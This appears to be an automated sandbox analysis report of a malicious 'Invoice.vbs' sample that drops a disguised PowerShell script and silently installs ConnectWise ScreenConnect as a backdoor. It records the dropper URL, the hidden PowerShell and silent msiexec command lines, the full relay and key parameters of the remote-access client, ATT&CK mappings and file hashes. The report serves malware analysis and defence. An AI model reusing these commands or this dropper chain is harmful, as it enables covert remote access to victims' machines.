Overview

overview

10

Static

static

1

Invoice.vbs

windows10-2004-x64

10

Invoice.vbs

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    06/08/2026, 00:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Invoice.vbs
  • Size 1KB
  • Sample260806-amd41avtft
  • SHA256 6837eaf9330e40992fb34ba8c20d9a5349729b12ca1f6d7c887baaf7c76a5ab3
  • MD5 SHA1 SHA512 TLSH
Score
10/10
backdoordiscoveryexecutionpersistenceprivilege_escalationrat

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://mhfh.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 10 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
    execution
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NonInteractive -File "C:\Users\Admin\AppData\Local\Temp\OneDrive eSignature-install.ps1"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4932
      • C:\Windows\system32\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\OracleInstaller\OneDriverDC-Installer.ps1" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2948
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 09F371B4F856857AC170299F7189A35A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5348
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI4C66.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240668031 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1200
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 59A95751DF02EE0833B6BBD7FC297363 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5384
  • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-haf4lh-relay.screenconnect.com&p=443&s=3a4199df-2455-4132-95a8-4825dd2ba807&k=BgIAAACkAABSU0ExAAgAAAEAAQBhE2mTzhyW6iiwJ9g7NwRZgO%2fYCdoJX9Ia6M70CIH9bUypgTHV476wmouKizEYTCOABqAF%2fWQRPViwYkqE%2bNMvE7UAgArDQX%2f1VBEIKnYC%2fWDlGS%2f5Tjq30DtoyKlE6jxJOsKC0O9jffpG9az%2bKAEAeI%2fSlU1LkAiYWbyi1WfdhwSSIu2ROLaH4T%2f%2fO7LZuq91QieMmkaaYs%2fe1eMa0r8415LnPjAF56sdfsPAl3baAlEhc0ixl5McSblvJvsgYthtJdk1qfOY%2fIRt5%2fflNC%2bCRFC7JOL%2bR7Ona1NXYcLzzvy28pLAsbwASsbrFP834o4hLbmGCmm3wE%2bLVIyyPYi0"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3168
    • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe" "RunRole" "cb8be64a-804e-4f12-a2dc-72a8498d6150" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3952
    • C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe" "RunRole" "e00db277-9a18-467f-882e-e2d8e542005f" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:2776

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Visual Basic

        1
        T1059.005

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Authentication Package

        1
        T1547.002

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        1
        T1543

        Windows Service

        1
        T1543.003

        Event Triggered Execution

        1
        T1546

        Component Object Model Hijacking

        1
        T1546.015

        Defense Evasion

        Modify Registry

        1
        T1112

        Credential Access

        Discovery

        Peripheral Device Discovery

        1
        T1120

        Query Registry

        3
        T1012

        System Information Discovery

        4
        T1082

        System Location Discovery

        1
        T1614

        System Language Discovery

        1
        T1614.001

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e584ae2.rbs
        • Path C:\Config.Msi\e584ae2.rbs
        • Size 214KB
        • SHA256 6d5edab5b01afd4f88a51763a20c06bd053d4b25216a1dd0de1289a5ad9beb1b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.en-US.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Client.resources
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Client.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 8e5531c2b302f9c95ed32ac7481d3535b6d51147257d317686c07ea1a9cb8362
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 ed32fe0d924959020cbef0534a7ba612e94263ccc74837475f3b5a6a726acad0
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.ClientService.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 16b4c273a25526e7262716ebe9d46480962347191a034595f18be740d9ce1e17
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Core.dll
        • Size 579KB
        • SHA256 f64cb7ab5f105c22348a22e02dd506ff45456884639fee0f322862112860af24
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c50d6e8d93ed197dd0cfb647743b42a2a6a9289f6db04092f56cefd6d569663e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsAuthenticationPackage.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe
        • Size 678KB
        • SHA256 2ad8f126461607aad3fa31a41f1f39bc74f471fd84191b43e205610db2c4cf09
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.WindowsClient.exe.config
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ScreenConnect.WindowsCredentialProvider.dll
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 4868b7997b9b4260be2df752a81a750388243cdbea37e4d82a9e0101cd29d0c7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        system.config
        • Path C:\Program Files (x86)\ScreenConnect Client (4295bac665fafdeb)\system.config
        • Size 976B
        • SHA256 e60dca026a500021d54241b5cb166ce0664e3117dc8a31c3685aef255f635249
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        OneDrive eSignature-install.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\OneDrive eSignature-install.ps1
        • Size 1KB
        • SHA256 8abb52a198a9a0feeae6f778c888f489ea2344c58beb9be7824dc182791f7020
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        OneDriverDC-Installer.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\OracleInstaller\OneDriverDC-Installer.ps1
        • Size 9.8MB
        • SHA256 d0dfd87e1566f5f6c926283e793f2212a06f9159aa7786574836b4fbbac48828
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_ioo4ytna.f1o.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ioo4ytna.f1o.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        MSI4C66.tmp
        • Path C:\Windows\Installer\MSI4C66.tmp
        • Size 1.1MB
        • SHA256 de867af8055f81b7691f12175deb4c4e7f3bf97130e51761ed02182b0496e16f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        Microsoft.Deployment.WindowsInstaller.dll
        • Path C:\Windows\Installer\MSI4C66.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Core.dll
        • Path C:\Windows\Installer\MSI4C66.tmp-\ScreenConnect.Core.dll
        • Size 569KB
        • SHA256 e92d94613443befebb55b08f80d10a2fdbfc58233e8dc95cfb4466fde12964f7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.InstallerActions.dll
        • Path C:\Windows\Installer\MSI4C66.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 d827d3575ca29f8a40ea5379c7df2b315fc72cbd93451de94e199740594b51bb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ScreenConnect.Windows.dll
        • Path C:\Windows\Installer\MSI4C66.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 320b89343e896a8d2ebf537861d800a9aca88245cc3b5616bb5bea5cc6797fbb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        MSI5560.tmp
        • Path C:\Windows\Installer\MSI5560.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        tcq3wnui.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\tcq3wnui.newcfg
        • Size 683B
        • SHA256 ce5761d17277347ce251c363c23152b751e63de22739025e5e9a7abf4937df98
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        ukhvk0hb.newcfg
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\ukhvk0hb.newcfg
        • Size 883B
        • SHA256 ec0b30f813398312532c64bd2eb248af40fbe5def2f1b755a5f3e182b04bbb01
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        user.config
        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (4295bac665fafdeb)\user.config
        • Size 520B
        • SHA256 2acbe74e09632c104c40cecddf77097e2ee717a888e100d2cbfcb7ee824bf665
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1200-43-0x0000000002E00000-0x0000000002E94000-memory.dmp
        Download

        memory/1200-39-0x0000000002C90000-0x0000000002C9C000-memory.dmp
        Download

        memory/1200-48-0x0000000005C00000-0x00000000061A4000-memory.dmp
        Download

        memory/1200-35-0x0000000002C50000-0x0000000002C7E000-memory.dmp
        Download

        memory/1200-47-0x00000000054A0000-0x0000000005650000-memory.dmp
        Download

        memory/2776-163-0x000000001C4B0000-0x000000001C659000-memory.dmp
        Download

        memory/3168-129-0x00000000042C0000-0x0000000004352000-memory.dmp
        Download

        memory/3168-91-0x0000000003D60000-0x0000000003DF4000-memory.dmp
        Download

        memory/3168-105-0x0000000003EC0000-0x0000000003F10000-memory.dmp
        Download

        memory/3168-131-0x0000000003F10000-0x0000000003F51000-memory.dmp
        Download

        memory/3168-85-0x00000000017B0000-0x00000000017CA000-memory.dmp
        Download

        memory/3168-133-0x00000000044A0000-0x0000000004576000-memory.dmp
        Download

        memory/3168-128-0x0000000003F80000-0x0000000003FEC000-memory.dmp
        Download

        memory/3168-95-0x0000000004070000-0x0000000004220000-memory.dmp
        Download

        memory/3952-157-0x000000001BF60000-0x000000001C110000-memory.dmp
        Download

        memory/3952-156-0x000000001BD10000-0x000000001BDA4000-memory.dmp
        Download

        memory/3952-155-0x000000001B900000-0x000000001B96C000-memory.dmp
        Download

        memory/3952-158-0x0000000001580000-0x000000000159A000-memory.dmp
        Download

        memory/3952-154-0x0000000000D00000-0x0000000000DAE000-memory.dmp
        Download

        memory/3952-159-0x000000001C2A0000-0x000000001C426000-memory.dmp
        Download

        memory/3952-164-0x000000001C820000-0x000000001C9C9000-memory.dmp
        Download

        memory/4932-1-0x0000020AF52E0000-0x0000020AF52F0000-memory.dmp
        Download

        memory/4932-8-0x0000020AF52A0000-0x0000020AF52C2000-memory.dmp
        Download

        memory/4932-2-0x0000020AF52E0000-0x0000020AF52F0000-memory.dmp
        Download

        memory/4932-97-0x0000020AF52E0000-0x0000020AF52F0000-memory.dmp
        Download